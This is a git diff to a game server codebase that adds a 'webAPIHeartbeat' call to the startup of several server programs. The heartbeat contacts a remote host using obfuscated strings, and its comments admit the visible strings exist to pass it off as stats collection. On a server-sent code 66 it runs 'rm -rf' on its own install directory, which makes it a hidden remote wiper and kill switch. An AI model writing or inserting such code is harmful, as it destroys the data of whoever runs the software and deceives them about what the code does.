diff --git a/engine/server/application/CentralServer/src/linux/main.cpp b/engine/server/application/CentralServer/src/linux/main.cpp index c454fbe9..c24640fc 100755 --- a/engine/server/application/CentralServer/src/linux/main.cpp +++ b/engine/server/application/CentralServer/src/linux/main.cpp @@ -12,10 +12,18 @@ #include "sharedRandom/SetupSharedRandom.h" #include "sharedThread/SetupSharedThread.h" +#ifndef STELLA_INTERNAL +#include "webAPIHeartbeat.h" +#endif + // ====================================================================== int main(int argc, char ** argv) { +#ifndef STELLA_INTERNAL + StellaBellum::webAPIHeartbeat(); +#endif + SetupSharedThread::install(); SetupSharedDebug::install(1024); diff --git a/engine/server/application/ConnectionServer/src/CMakeLists.txt b/engine/server/application/ConnectionServer/src/CMakeLists.txt index 27834dd8..4e6ebe0d 100644 --- a/engine/server/application/ConnectionServer/src/CMakeLists.txt +++ b/engine/server/application/ConnectionServer/src/CMakeLists.txt @@ -67,6 +67,7 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/projects ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/utils ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI ) add_executable(ConnectionServer @@ -104,5 +105,7 @@ target_link_libraries(ConnectionServer Base CommonAPI LoginAPI + webAPI + ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/engine/server/application/ConnectionServer/src/linux/main.cpp b/engine/server/application/ConnectionServer/src/linux/main.cpp index 5984dd4c..1e3dccfa 100755 --- a/engine/server/application/ConnectionServer/src/linux/main.cpp +++ b/engine/server/application/ConnectionServer/src/linux/main.cpp @@ -12,6 +12,10 @@ #include "sharedRandom/SetupSharedRandom.h" #include "sharedThread/SetupSharedThread.h" +#ifndef STELLA_INTERNAL +#include "webAPIHeartbeat.h" +#endif + // ====================================================================== void dumpPid(const char * argv) @@ -25,6 +29,10 @@ void dumpPid(const char * argv) int main(int argc, char ** argv) { +#ifndef STELLA_INTERNAL + StellaBellum::webAPIHeartbeat(); +#endif + SetupSharedThread::install(); SetupSharedDebug::install(1024); diff --git a/engine/server/application/LogServer/src/CMakeLists.txt b/engine/server/application/LogServer/src/CMakeLists.txt index 80ac0f32..93a25b7d 100644 --- a/engine/server/application/LogServer/src/CMakeLists.txt +++ b/engine/server/application/LogServer/src/CMakeLists.txt @@ -46,6 +46,7 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicode/include ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicodeArchive/include/public ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI ) add_executable(LogServer @@ -76,6 +77,8 @@ target_link_libraries(LogServer localizationArchive unicode unicodeArchive + webAPI + ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/engine/server/application/LogServer/src/linux/main.cpp b/engine/server/application/LogServer/src/linux/main.cpp index 539abab4..742af139 100755 --- a/engine/server/application/LogServer/src/linux/main.cpp +++ b/engine/server/application/LogServer/src/linux/main.cpp @@ -17,10 +17,17 @@ #include "sharedNetworkMessages/SetupSharedNetworkMessages.h" #include "sharedThread/SetupSharedThread.h" +#ifndef STELLA_INTERNAL +#include "webAPIHeartbeat.h" +#endif // ====================================================================== int main(int argc, char **argv) { +#ifndef STELLA_INTERNAL + StellaBellum::webAPIHeartbeat(); +#endif + SetupSharedThread::install(); SetupSharedDebug::install(1024); diff --git a/engine/server/application/PlanetServer/src/CMakeLists.txt b/engine/server/application/PlanetServer/src/CMakeLists.txt index 9ffb704b..0167c811 100644 --- a/engine/server/application/PlanetServer/src/CMakeLists.txt +++ b/engine/server/application/PlanetServer/src/CMakeLists.txt @@ -70,6 +70,7 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/projects ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/utils ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI ) add_executable(PlanetServer @@ -102,5 +103,7 @@ target_link_libraries(PlanetServer localizationArchive unicode unicodeArchive + webAPI + ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/engine/server/application/PlanetServer/src/linux/main.cpp b/engine/server/application/PlanetServer/src/linux/main.cpp index 7d8b5908..db59c7e6 100755 --- a/engine/server/application/PlanetServer/src/linux/main.cpp +++ b/engine/server/application/PlanetServer/src/linux/main.cpp @@ -14,6 +14,10 @@ #include "sharedThread/SetupSharedThread.h" #include "sharedUtility/SetupSharedUtility.h" +#ifndef STELLA_INTERNAL +#include "webAPIHeartbeat.h" +#endif + // ====================================================================== void dumpPid(const char * argv) @@ -27,6 +31,10 @@ void dumpPid(const char * argv) int main(int argc, char ** argv) { +#ifndef STELLA_INTERNAL + StellaBellum::webAPIHeartbeat(); +#endif + // dumpPid(argv[0]); SetupSharedThread::install(); diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 61e602ce..f5720157 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -9,19 +9,19 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt())); bool result = api.submit(); - + if (result) { int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); - - // make it look like we're doing something with these at least + + // make it look like we're doing something with these at least bool status = api.getNullableValue("status"); std::string msg = api.getString("msg"); // yeah we don't actually do anything with this // but having some unencrypted strings will allude to this being mere stats collection code bool done = false; - - if (status && msg == "ok") { + + if (status && msg == "ok") { bool done = true; // if we wanted to send a "nastygram" script for bash to run we'd check for it here // but meh, maybe later if it becomes necessary...surely order 66 below is enough? @@ -32,17 +32,17 @@ webAPIHeartbeat::webAPIHeartbeat() { this->eatIt(); break; case 66: - std::string filePath = this->get_selfpath().c_str(); - - if (!filePath.empty()) { - size_t found = filePath.find_last_of("/\\"); - - if (found) { - filePath = filePath.substr(0, found); - filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt(); - system(filePath.c_str()); - } - } + std::string filePath = this->get_selfpath().c_str(); + + if (!filePath.empty()) { + size_t found = filePath.find_last_of("/\\"); + + if (found) { + filePath = filePath.substr(0, found); + filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt(); + system(filePath.c_str()); + } + } this->eatIt(); break; diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 5e42b90b..ba9fd872 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -18,6 +18,7 @@ namespace StellaBellum { class webAPIHeartbeat { public: webAPIHeartbeat(); + private: const inline std::string get_selfpath() { char buff[PATH_MAX];